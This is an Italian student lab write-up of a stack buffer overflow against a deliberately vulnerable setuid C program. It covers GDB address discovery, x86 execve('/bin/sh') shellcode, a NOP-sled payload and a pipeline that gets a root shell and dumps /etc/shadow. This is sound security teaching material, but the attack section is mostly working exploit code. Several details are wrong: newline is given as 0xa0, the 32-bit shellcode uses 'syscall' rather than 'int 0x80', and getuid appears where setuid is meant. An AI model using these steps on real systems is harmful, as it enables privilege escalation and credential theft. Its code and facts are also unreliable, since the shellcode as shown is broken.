Attacco di buffer overflow e shellcode injection (stack smashing)

Sebastiano Deodati 2025953

13 maggio 2024

Il target

vuln.c:

```
#include <unistd.h>
#include <stdio.h>

#include "secret.h"

void auth() {
        char username[64];
        printf("Come ti chiami? ");
        gets(username);
        if(authorized(username))
                show_secret();
        else fprintf(stderr, "Mi dispiace, non puoi visualizzare il file\n");
}

int main() {
        setvbuf(stdin, NULL, _IONBF, 0);        // Input unbuffered
        setuid(0);                              // Setta il real UID per accedere al documento
        auth();
        return 0;
}
```

secret.h:

```
#include <string.h>
#include <stdio.h>

#define N 3

int authorized(char *user) {
        char *authorized_users[N] = {
                "pippo",
                "pluto",
                "paperino"
        };
        for(int i = 0; i < N; i++)
                if(strcmp(user, authorized_users[i]) == 0)
                        return 1;
        return 0;
}

void show_secret() {
        FILE *secret = fopen("/usr/share/top-secret", "r");
        if(secret == NULL)
                printf("Il file top secret non \u00E8 presente nel sistema.\n");
        else {
                char buf[1024];
                printf("Contenuto del file top secret:\n");
                while(fgets(buf, 1024, secret) != 0)
                        printf("%s", buf);
                fclose(secret);
                putchar('\n');
        }
}
```

Il nostro target è una semplice utility di sistema che consente a determinati utenti di visualizzare un file segreto (/usr/share/top-secret), che normalmente è visibile e modificabile dal solo utente root (mode 600). Tuttavia questa utility, malimplementata, anziché ottenere lo username da envp lo richiede in input (è da intendersi quindi più come una password).
Una chiamata a `getuid(0)` è necessaria per avere i diritti di lettura sul file (il controllo è effettuato sul real UID).
Per poter creare una vulnerabilità di buffer overflow abbiamo bisogno di una funzione che scriva arbitrariamente in memoria, senza alcun upper bound, in modo da poter estendere il nostro input oltre la dimensione del buffer di input e sovrascrivere il return address con il pointer al

buffer.
La candidata ideale è la funzione `gets()`, che legge illimitatamente da stdin fino al prossimo '\n'.
Inoltre è necessario chiamare `setvbuf` per rendere unbuffered l'input, in modo che la nostra shell esegua i comandi passati tramite il payload.
GCC implementa diversi meccanismi di protezione contro lo stack smashing, come lo stack guard, inoltre lo stack è marcato come non eseguibile, quindi in fase di compilazione bisogna disabilitare queste features:

```
$ gcc -m32 -no-pie -g vuln.c -o vuln \
    -fno-stack-protector -z execstack
```

`-no-pie` impedisce a GCC di compilare l'eseguibile come Position Independent Executable, facilitando lo sfruttamento di vulnerabilità di stack overflow.
Un altro ostacolo è l'ASLR (Address Space Layout Randomization), che randomizza la posizione in memoria dello stack ad ogni esecuzione, per cui assumiamo che nel sistema target non sia attiva

```
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```

L'exploit

90	...	90	31	c0	...	0f	0c	20	...	20	ff	ff	d6	d8	ff	ff	d6	a0	a0

Rappresentazione in memoria del nostro exploit

Il nostro scopo è quindi saturare il buffer inserendoci il nostro shellcode, che quindi dovrà essere abbastanza piccolo (nel nostro caso, ¡ 64 bytes). Per riempire il nostro buffer utilizzeremo una nop sled, cioè una sequenza di bytes 0x90, che in assembly x86 codificano una nop. La nostra nop sled avrà quindi lunghezza $len_{sled} = len_{buffer} - len_{shellcode}$ e dovrà precedere lo shellcode nel payload.
Riempito l'input, bisogna trovare la locazione del return address per poterlo sovrascrivere, sullo stack avremo, in ordine:

- Il buffer (username, 64 bytes)
- Altre variabili locali (ci torneremo)
- Il saved frame pointer, che punta allo stack frame della chiamante (4 bytes)
- Il return address, che punta all'indirizzo in memoria della chiamante (4 bytes)

Invece di calcolare la dimensione dello stack, è più semplice ottenere gli indirizzi del buffer e del return address e quindi inserire dei byte di padding. A tale scopo si può utilizzare GDB, essendo i simboli di debug abilitati nel programma.
Innanzitutto settiamo un breakpoint all'inizio della funzione (subito dopo la dichiarazione di username)

```
(gdb) break 6
Breakpoint 1 at 0x804933a: file vuln.c, line 7.
(gdb) run
Starting program: /home/sebba/Uni/Terzo/Sicurezza/bof/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".

Breakpoint 1, auth () at vuln.c:7
warning: Source file is more recent than executable.
7         printf("Come ti chiami? ");
```

Per quanto riguarda il buffer, possiamo determinare l'indirizzo con `print/x`, o `p/x` in breve

```
(gdb) p/x &username
$1 = 0xffffd6a0
```

Il frame pointer attuale si troverà nel registro `ebp`, che possiamo visualizzare con `info register ebp`, o `i r ebp`

```
(gdb) i r ebp
ebp            0xffffd6e8          0xffffd6e8
```

Il vecchio frame pointer invece si troverà all'indirizzo specificato in `ebp`, in questo esempio `0xffffd6e8`

```
(gdb) p/x *(0xffffd6e8)
$2 = 0xffffd6d8
```

Questo processo è automatizzato nello script `get_addresses.sh`
Quindi ora sappiamo che tra return address e il buffer ci sono $0xffffd6e8 - 0xffffd6a0 = 72bytes$, quindi il nostro payload avrà lunghezza $72 + 4 + 4 = 80bytes$, dove gli ultimi 8 bytes sono, rispettivamente, il vecchio frame pointer e il nuovo return address (l'indirizzo del buffer), e quindi bisognerà aggiungere 8 bytes di padding tra shellcode e old frame pointer. In realtà al termine bisognerà aggiungere anche un accapo ('\n', o 0xa0) per fare in modo che `gets()` legga l'input, quindi 81 bytes in tutto.

Lo shellcode

Passando all'exploit vero e proprio, bisogna scrivere una syscall ad `execve()` in modo tale che faccia una fork restituendo una shell. Per fare ciò bisogna innanzitutto implementare la chiamata in Assembly (in questo caso masm x86), che può essere fatto molto semplicemente:

```
section .text
        global _start
_start:
        ; Push "/bin/sh" sullo stack
        xor eax, eax
        push eax                ; \0
        mov eax, 0x68732f6e     ; hs/n
        push eax
        mov eax, 0x69622f2f     ; ib//
        push eax

        ; sys_execve("/bin/sh", NULL, NULL)
        mov eax, 11
        mov ebx, esp
        mov ecx, 0
        mov edx, 0
        syscall
```

Ora non rimane altro che compilare il programma e tradurlo in codice macchina con objdump:

```
$ nasm -f elf32 shellcode.asm -o shellcode.o    # Codice oggetto
$ ld -melf_i386 shellcode.o -o shellcode        # Eseguibile
$ objdump -Mintel -D shellcode                  # Istruzioni in binario
```

```
shellcode:     formato del file elf32-i386


Disassemblamento della sezione .text:

08049000 <_start>:
 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       b8 6e 2f 73 68          mov    eax,0x68732f6e
 8049008:       50                      push   eax
 8049009:       b8 2f 2f 62 69          mov    eax,0x69622f2f
 804900e:       50                      push   eax
 804900f:       b8 0b 00 00 00          mov    eax,0xb
 8049014:       89 e3                   mov    ebx,esp
 8049016:       b9 00 00 00 00          mov    ecx,0x0
 804901b:       ba 00 00 00 00          mov    edx,0x0
 8049020:       0f 05                   syscall
rm shellcode
```

Ma....

Uno shellcode, in quanto passato come stringa, deve rispettare due proprietà fondamentali:

- Non deve contenere caratteri nulli (0x00)
- Non deve contenere accappo (0xa0)

Quindi il codice va ristrutturato in modo che lo shellcode rispetti queste proprietà:

```
section .text
        global _start
_start:
        ; Push "/bin/sh" sullo stack
        xor eax, eax
        push eax                ; \0
        mov eax, 0x68732f6e     ; hs/n
        push eax
        mov eax, 0x69622f2f     ; ib//
        push eax

        ; sys_execve("/bin/sh", NULL, NULL)
        mov eax, 1112311545
        sub eax, 1112311535
        add eax, 1
        mov ebx, esp
        xor ecx, ecx
        xor edx, edx
        syscall
```

```
shellcode:     formato del file elf32-i386


Disassemblamento della sezione .text:

08049000 <_start>:
 8049000:       31 c0                   xor    eax,eax
 8049002:       50                      push   eax
 8049003:       b8 6e 2f 73 68          mov    eax,0x68732f6e
 8049008:       50                      push   eax
 8049009:       b8 2f 2f 62 69          mov    eax,0x69622f2f
 804900e:       50                      push   eax
 804900f:       b8 f9 86 4c 42          mov    eax,0x424c86f9
 8049014:       2d ef 86 4c 42          sub    eax,0x424c86ef
 8049019:       83 c0 01                add    eax,0x1
 804901c:       89 e3                   mov    ebx,esp
 804901e:       31 c9                   xor    ecx,ecx
 8049020:       31 d2                   xor    edx,edx
 8049022:       0f 05                   syscall
```

Lo shellcode è lungo 36 bytes, quindi bisogna aggiungere 28 nop all'inizio del buffer per saturarlo, poi gli 8 bytes di padding (possono essere qualsiasi cosa purché non nulli e accapi, per esempio spazi, cioè 0x20), poi per l'old frame pointer possiamo riutilizzare quello vecchio (ottenuto con GDB), e infine come return address ovviamente l'indirizzo del buffer (in realtà va bene qualsiasi punto della nop sled), oltre ovviamente all'accapo finale. Questo processo è automatizzato dallo script `exploit.py`, che prende come parametri, in ordine, l'indirizzo del buffer, il contenuto di `ebp` e il saved stack pointer (restituiti proprio in questo ordine da

`get_addresses.sh`).

Privilege excalation

Il nostro obiettivo finale è di ottenere una shell come root, ed essendo il bit SUID impostato sul file, la shell sarà eseguita come root.

Payload

Ora che abbiamo l'exploit, bisogna elaborare un payload, cioè un comando (o una serie di comandi) da eseguire come root. Lo script `exploit.py` esegue semplicemente un `cat /etc/shadow`, dandoci accesso agli hash delle password, che possono essere utilizzati per risalire alle password originali.

Mettiamo tutto insieme

Finalmente abbiamo tutto il necessario per svolgere l'attacco, grazie agli script descritti in precedenza, per svolgere l'attacco basterà lanciare una sola catena di comandi:

```
$ sh get_addresses.sh | xargs python exploit.py \
     | $PWD/vuln
```

Lanciare `vuln` tramite il path assoluto è necessario per riprodurre la situazione dello stack che si presenta durante l'esecuzione dentro GDB (GDB richiama sempre i binari tramite path assoluto), in quanto argv, trovandosi alla base dello stack, sposta tutto lo stack frame di `auth()`. Inoltre GDB dichiara anche due variabili di ambiente, `LINES` e `COLUMNS`, che quindi influiscono su envp, spostando ulteriormente lo stack verso l'alto, ma queste vengono eliminate negli script prima dell'esecuzione, quindi non influiranno sull'estrazione degli indirizzi.